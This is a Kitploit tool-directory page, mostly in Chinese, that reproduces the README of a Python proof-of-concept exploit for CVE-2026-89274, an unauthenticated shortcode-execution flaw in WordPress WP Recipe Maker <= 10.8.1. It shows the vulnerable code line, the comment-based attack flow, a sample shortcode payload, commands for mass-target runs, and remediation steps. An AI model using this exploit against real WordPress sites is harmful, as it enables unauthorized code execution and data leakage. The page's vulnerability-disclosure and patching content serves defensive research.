Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-.CVE-2026-89274 — 针对 CVE-2026-89274 的 Python PoC 漏洞利用程序,该漏洞是 WordPress WP Recipe Maker <= 10.8.1 中通过食谱评论触发的未认证任意短代码执行漏洞。 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-.cve-2026-89274
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubpolosss/by-poloss..-.cve-2026-89274

By-Poloss..-.CVE-2026-89274

针对 CVE-2026-89274 的 Python PoC 漏洞利用程序,该漏洞是 WordPress WP Recipe Maker <= 10.8.1 中通过食谱评论触发的未认证任意短代码执行漏洞。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
5小时4分前尚未审核
分享

CVE-2026-89274 PoC

Poloss : @WPEF0

status python license

针对 CVE-2026-89274 的概念验证漏洞利用 — WordPress 插件 WP Recipe Maker 版本 ≤ 10.8.1 中的 未认证任意短代码执行 漏洞。

⚠️ 法律与道德警告 本脚本仅供在本地环境(localhost/实验室)进行安全研究使用,不得用于非您所有的系统或未经书面许可的系统。作者不对任何滥用行为负责。未经授权对第三方系统使用可能违反刑法。


📌 漏洞摘要

字段值
CVE IDCVE-2026-89274
目标WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1
类别代码注入 (CWE-94) — 任意短代码执行
CVSS v3.19.1 严重 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
向量食谱评论内容(未认证)
Sinkclass-wprm-metadata.php 中的 do_shortcode()
影响服务端短代码执行 → 通过公开 JSON-LD 泄露数据
作者Poloss

根本原因(补丁差异 10.8.1 → 10.8.4)

includes/public/class-wprm-metadata.php :: sanitize_metadata()

存在漏洞 (10.8.1):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );

do_shortcode() 先执行短代码,然后 strip_shortcodes() 仅清理其输出 — 完全没有保护。

已修补 (10.8.4):

root@kitploit:~
$sanitized = strip_shortcodes( wp_strip_all_tags(
    WPRM_Instacart::do_shortcode_safe( $metadata ) ) );

数据流

root@kitploit:~
comment_content (komentar publik pada post resep)
   └─> reviewBody        (class-wprm-metadata.php:1017)
       └─> $metadata['review'][]   (line 1028)
           └─> sanitize_metadata( get_metadata( $recipe ) )  (line 374)
               └─> do_shortcode( $reviewBody )  ← SINK EKSEKUSI
                   └─> wp_json_encode() ke <script type="application/ld+json">

前提条件

  1. 评论携带 wprm-comment-rating 字段(通过评论表单填写)。
  2. 评论已批准(自动批准或由版主手动批准)。
  3. 无需认证。

⚙️ 安装

root@kitploit:~
git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate     # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.

要求:Python 3.8+。


🚀 使用方法

单个目标

root@kitploit:~
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
    --shortcode '[wprm-recipe-name id=11]' \
    --marker 'PoC Recipe'

多个目标(文件)

targets.txt 格式(每行一个,url[,post_id]):

root@kitploit:~
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
root@kitploit:~
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json

CLI 选项

标志默认值描述
-u, --url—单个目标 URL
-f, --file—目标列表文件(每行 url[,post_id])
-p, --post10包含食谱的帖子 ID
-t, --threads5工作线程数
-o, --outputcve-2026-89274-loot.jsonJSON 输出文件
--shortcode[wprm-recipe-name id=11]要执行的短代码载荷
--markerPoC Recipe用于在 reviewBody 中证明执行的子字符串
--rating5WPRM 评分值
--timeout25每次请求超时(秒)

🔍 脚本工作原理

  1. 基线 — GET 帖子页面,提取 <script type="application/ld+json"> 块,收集 reviewBody。
  2. 提交评论 — POST 到 /wp-comments-post.php,携带载荷 + wprm-comment-rating 字段。
  3. 轮询 — 多次重新 GET 页面以检测评论自动批准。
  4. 验证 — 如果 --marker 出现在 reviewBody 中 → EXPLOITED。如果尚未出现 → PENDING_APPROVAL。
  5. 输出 — 将结果保存为 JSON。

输出状态

状态含义
EXPLOITED短代码已执行且输出泄露到公开 JSON-LD
PENDING_APPROVAL评论已提交,等待版主批准
FAIL页面不可达 / 评论被拒绝 / 错误

📄 JSON 输出示例

root@kitploit:~
[
  {
    "target": "http://localhost:8080",
    "post_id": 10,
    "shortcode": "[wprm-recipe-name id=11]",
    "marker": "PoC Recipe",
    "author": "poc1716000000",
    "review_bodies": ["PoC Recipe"],
    "status": "EXPLOITED",
    "evidence": "PoC Recipe",
    "note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
    "elapsed": 9.12
  }
]

🛡️ 修复建议

  • 升级 WP Recipe Maker 至 ≥ 10.8.4。
  • 临时措施:禁用食谱帖子的评论,或设置 comment_moderation = 1 并严格审核评论。
  • 应用 WAF 规则以阻止评论字段中的短代码语法([...])。
  • 审计旧评论中是否存在可疑的短代码载荷。

📁 仓库结构

root@kitploit:~
.
├── CVE-2026-89274.py           # exploit utama
└── README.md                   # dokumen ini
下载工具